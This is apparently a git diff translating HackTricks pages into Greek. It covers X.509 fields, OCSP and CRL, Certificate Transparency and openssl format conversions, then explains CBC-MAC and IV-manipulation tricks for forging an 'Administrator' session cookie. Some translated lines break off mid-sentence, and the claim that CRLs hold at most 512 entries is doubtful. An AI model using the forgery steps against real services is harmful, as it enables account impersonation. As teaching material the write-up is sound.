- Το **Διακριτικό Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
|
||||
- Ο **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την ΠΑ.
|
||||
- Η **Περίοδος Ισχύος** σηματοδοτείται από τις χρονοσφραγίδες **Μη Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
|
||||
- Η ενότητα **Δημόσιο Κλειδί**, η οποία είναι κρίσιμη για την ασφάλεια του πιστοποιητικού, κα
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -61,8 +50,8 @@ from cryptography.hazmat.backends import default_backend
|
|||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
|
@ -75,139 +64,199 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
|
||||
|
||||
### **Difference between OCSP and CRL Distribution Points**
|
||||
Το **OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίτη που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν το πλήρες **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειράς των ανακλημένων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως και 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
|
||||
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
### **Τι είναι η Certificate Transparency**
|
||||
|
||||
### **What is Certificate Transparency**
|
||||
Η Certificate Transparency βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά, εξασφαλίζοντας ότι η έκδοση και η ύπαρξη των πιστοποιητικών SSL είναι ορατές για τους ιδιοκτήτες τομέα, τις αρχές πιστοποίησης και τους χρήστες. Οι στόχοι της είναι:
|
||||
|
||||
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
|
||||
* Να αποτρέπει τις αρχές πιστοποίησης από το να εκδίδουν πιστοποιητικά SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
|
||||
* Να θεσπίσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
|
||||
* Να προστατεύει τους χρήστες από απάτες με πιστοποιητικά.
|
||||
|
||||
* Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
|
||||
* Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
|
||||
* Safeguarding users against fraudulent certificates.
|
||||
#### **Αρχεία καταγραφής πιστοποιητικών**
|
||||
|
||||
#### **Certificate Logs**
|
||||
Τα αρχεία καταγραφής πιστοποιητικών είναι δημόσια ελεγξίμα αρχεία με αποκλειστική εγγραφή πιστοποιητικών, τα οποία διατηρούνται από υπηρεσίες δικτύου. Αυτά τα αρχεία παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτά τα αρχεία ή να τα ερωτήσουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερο από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από αρχές πιστοποίησης, παροχείς υπηρεσιών Internet ή οποιοδήποτε ενδιαφερόμενο φορέα.
|
||||
|
||||
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
|
||||
#### **Ερώτημα**
|
||||
|
||||
#### **Query**
|
||||
Για να εξερευνήσετε τα αρχεία καταγραφής πιστοποιητικών Certificate Transparency για οποιονδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
|
||||
|
||||
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
|
||||
Υπάρχουν διάφορες μορφές για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτό το σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
|
||||
|
||||
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
|
||||
## **Μορφές**
|
||||
|
||||
## **Formats**
|
||||
### **Μορφή PEM**
|
||||
- Η πιο διαδεδομένη μορφή για πιστοποιητικά.
|
||||
- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
|
||||
- Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
|
||||
- Χρησιμοποιείται κυρίως από τον Apache και παρόμοιους διακομιστές.
|
||||
|
||||
### **PEM Format**
|
||||
- Most widely used format for certificates.
|
||||
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
|
||||
- Common extensions: .cer, .crt, .pem, .key.
|
||||
- Primarily used by Apache and similar servers.
|
||||
### **Μορφή DER**
|
||||
- Μια δυαδική μορφή πιστοποιητικών.
|
||||
- Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
|
||||
- Συνηθισμένες επεκτάσεις: .cer, .der.
|
||||
- Χρησιμοποιείται συχνά με πλατφόρμες Java.
|
||||
|
||||
### **DER Format**
|
||||
- A binary format of certificates.
|
||||
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
|
||||
- Common extensions: .cer, .der.
|
||||
- Often used with Java platforms.
|
||||
### **Μορφή P7B/PKCS#7**
|
||||
- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
|
||||
- Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, χωρίς το ιδιωτικό κλειδί.
|
||||
- Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
|
||||
- Contains only certificates and chain certificates, excluding the private key.
|
||||
- Supported by Microsoft Windows and Java Tomcat.
|
||||
### **Μορφή PFX/P12/PKCS#12**
|
||||
- Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
|
||||
- Επεκτάσεις: .pfx, .p12.
|
||||
- Χρησιμοποιείται κυρίως στα Windows για την εισαγωγή και εξαγωγή πιστοποιητικών.
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
|
||||
- Extensions: .pfx, .p12.
|
||||
- Mainly used on Windows for certificate import and export.
|
||||
### **Μετατροπή μορφών**
|
||||
|
||||
### **Converting Formats**
|
||||
|
||||
**PEM conversions** are essential for compatibility:
|
||||
|
||||
- **x509 to PEM**
|
||||
Οι **μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
|
||||
|
||||
- **x509 σε PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM σε DER**
|
||||
|
||||
Η μετατροπή από τη μορφή PEM στη μορφή DER μπορεί να γίνει με τη χρήση του εργαλείου `openssl`. Ακολουθήστε τα παρακάτω βήματα για να πραγματοποιήσετε τη μετατροπή:
|
||||
|
||||
- **PEM to DER**
|
||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την ακόλουθη εντολή:
|
||||
```
|
||||
openssl x509 -outform der -in certificate.pem -out certificate.der
|
||||
```
|
||||
|
||||
Αντικαταστήστε το `certificate.pem` με το όνομα του αρχείου PEM που θέλετε να μετατρέψετε και το `certificate.der` με το όνομα που θέλετε να δώσετε στο νέο αρχείο DER.
|
||||
|
||||
2. Το εργαλείο `openssl` θα δημιουργήσει ένα νέο αρχείο με το όνομα που καθορίσατε, σε μορφή DER.
|
||||
|
||||
Με αυτόν τον τρόπο, μπορείτε να μετατρέψετε ένα αρχείο πιστοποιητικού από τη μορφή PEM στη μορφή DER.
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER σε PEM**
|
||||
|
||||
Για να μετατρέψετε ένα πιστοποιητικό από τη μορφή DER σε μορφή PEM, μπορείτε να χρησιμοποιήσετε την εντολή `openssl`. Ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
- **DER to PEM**
|
||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
|
||||
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
|
||||
Αντικαταστήστε το `certificate.der` με το όνομα του αρχείου DER πιστοποιητικού που θέλετε να μετατρέψετε και το `certificate.pem` με το όνομα που θέλετε να δώσετε στο νέο αρχείο PEM.
|
||||
|
||||
2. Το πιστοποιητικό σας τώρα έχει μετατραπεί από τη μορφή DER σε μορφή PEM και είναι έτοιμο για χρήση.
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **Μετατροπή από PEM σε P7B**
|
||||
|
||||
- **PEM to P7B**
|
||||
Για να μετατρέψετε ένα αρχείο πιστοποιητικού στη μορφή PEM σε μορφή P7B, μπορείτε να χρησιμοποιήσετε την εντολή `openssl`. Ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
|
||||
```
|
||||
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b
|
||||
```
|
||||
|
||||
Αντικαταστήστε το `certificate.pem` με το όνομα του αρχείου πιστοποιητικού που θέλετε να μετατρέψετε.
|
||||
|
||||
2. Το αρχείο P7B θα δημιουργηθεί στον ίδιο φάκελο με το αρχείο PEM.
|
||||
|
||||
Τώρα έχετε μετατρέψει με επιτυχία το αρχείο πιστοποιητικού από τη μορφή PEM στη μορφή P7B.
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **Μετατροπή PKCS7 σε PEM**
|
||||
|
||||
To convert a PKCS7 certificate to PEM format, you can use the following OpenSSL command:
|
||||
|
||||
- **PKCS7 to PEM**
|
||||
```plaintext
|
||||
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.pem
|
||||
```
|
||||
|
||||
This command will extract the certificates from the PKCS7 file and save them in PEM format. The resulting PEM file can then be used for various cryptographic operations.
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows:
|
||||
|
||||
|
||||
**PFX conversions** are crucial for managing certificates on Windows:
|
||||
|
||||
- **PFX to PEM**
|
||||
- **PFX σε PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
|
||||
|
||||
- **PFX to PKCS#8** involves two steps:
|
||||
1. Convert PFX to PEM
|
||||
|
||||
- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
|
||||
1. Μετατροπή PFX σε PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Μετατροπή από PEM σε PKCS8
|
||||
|
||||
2. Convert PEM to PKCS8
|
||||
Για να μετατρέψετε ένα αρχείο PEM σε μορφή PKCS8, μπορείτε να χρησιμοποιήσετε την εντολή `openssl` στο τερματικό. Ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
|
||||
```
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private_key.pem -out private_key.pkcs8
|
||||
```
|
||||
|
||||
Αντικαταστήστε το `private_key.pem` με το όνομα του αρχείου PEM που θέλετε να μετατρέψετε και το `private_key.pkcs8` με το όνομα που θέλετε να δώσετε στο νέο αρχείο PKCS8.
|
||||
|
||||
2. Θα σας ζητηθεί να εισαγάγετε τον κωδικό πρόσβασης του ιδιωτικού κλειδιού PEM.
|
||||
|
||||
3. Το νέο αρχείο PKCS8 θα δημιουργηθεί στον ίδιο φάκελο με το αρχικό αρχείο PEM.
|
||||
|
||||
Με αυτόν τον τρόπο, μπορείτε να μετατρέψετε ένα αρχείο PEM σε μορφή PKCS8 για περαιτέρω χρήση στις κρυπτογραφικές σας εργασίες.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
||||
|
||||
- **P7B to PFX** also requires two commands:
|
||||
1. Convert P7B to CER
|
||||
- **P7B σε PFX** απαιτεί επίσης δύο εντολές:
|
||||
1. Μετατροπή P7B σε CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
|
||||
|
||||
2. Convert CER and Private Key to PFX
|
||||
Για να μετατρέψετε ένα αρχείο CER και το αντίστοιχο ιδιωτικό κλειδί σε μορφή PFX, μπορείτε να χρησιμοποιήσετε το εργαλείο OpenSSL. Ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό παράθυρο και μεταβείτε στον φάκελο όπου βρίσκονται τα αρχεία CER και ιδιωτικού κλειδιού.
|
||||
|
||||
2. Εκτελέστε την παρακάτω εντολή για να δημιουργήσετε ένα αρχείο PFX:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
|
||||
```
|
||||
|
||||
Σημείωση: Αντικαταστήστε τα `private.key` και `certificate.cer` με τα ονόματα των αρχείων που έχετε.
|
||||
|
||||
3. Θα σας ζητηθεί να εισαγάγετε έναν κωδικό πρόσβασης για το αρχείο PFX. Εισαγάγετε τον επιθυμητό κωδικό πρόσβασης και πατήστε Enter.
|
||||
|
||||
4. Το αρχείο PFX με το πιστοποιητικό και το ιδιωτικό κλειδί θα δημιουργηθεί στον ίδιο φάκελο όπου εκτελέσατε την εντολή.
|
||||
|
||||
Μετά την ολοκλήρωση αυτών των βημάτων, θα έχετε μετατρέψει με επιτυχία το αρχείο CER και το ιδιωτικό κλειδί σε μορφή PFX.
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,85 +1,49 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
|
||||
Εάν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλετε να προσομοιώσετε το όνομα χρήστη "**admin**". Τότε, μπορείτε να δημιουργήσετε το όνομα χρήστη **"bdmin"** και να **δοκιμάσετε όλα τα πιθανά** πρώτα bytes του cookie.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
|
||||
Το **Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, εξασφαλίζοντας ότι η αλλαγή ακόμα και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια μη προβλέψιμη αλλαγή στο τελευταίο μπλοκ κρυπτογραφημένων δεδομένων. Για να γίνει ή να αναιρεθεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, εξασφαλίζοντας την ασφάλεια.
|
||||
|
||||
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
|
||||
Για να υπολογίσετε το CBC-MAC του μηνύματος m, κρυπτογραφείτε το m σε λειτουργία CBC με μηδενικό διάνυσμα αρχικοποίησης και κρατάτε το τελευταίο μπλοκ. Ο παρακάτω σχεδιασμός απεικονίζει τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν κρυπτογράφο μπλοκ E:
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
|
||||
# Vulnerability
|
||||
# Ευπάθεια
|
||||
|
||||
With CBC-MAC usually the **IV used is 0**.\
|
||||
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
|
||||
Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\
|
||||
Αυτό είναι ένα πρόβλημα επειδή 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
|
||||
Έπειτα ένα μήνυμα που αποτελείται από τη σύζευξη των m1 και m2 (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32):
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**Which is possible to calculate without knowing the key of the encryption.**
|
||||
**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζετε το κλειδί της κρυπτογράφησης.**
|
||||
|
||||
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
|
||||
Φανταστείτε ότι κρυπτογραφείτε το όνομα **Administrator** σε μπλοκ των **8bytes**:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
|
||||
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
|
||||
now, you can use s32 as the signature of the full name **Administrator**.
|
||||
|
||||
### Summary
|
||||
|
||||
1. Get the signature of username **Administ** (m1) which is s1
|
||||
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
|
||||
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
|
||||
|
||||
# Attack Controlling IV
|
||||
|
||||
If you can control the used IV the attack could be very easy.\
|
||||
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
|
||||
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
|
||||
|
||||
## References
|
||||
|
||||
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το όνομα **Administ** (m1) και να ανακτήσετε την υπογραφή (s1).\
|
||||
Έπειτα, μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)`
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Crypto CTFs Tricks
|
||||
# Κόλπα για Crypto CTFs
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
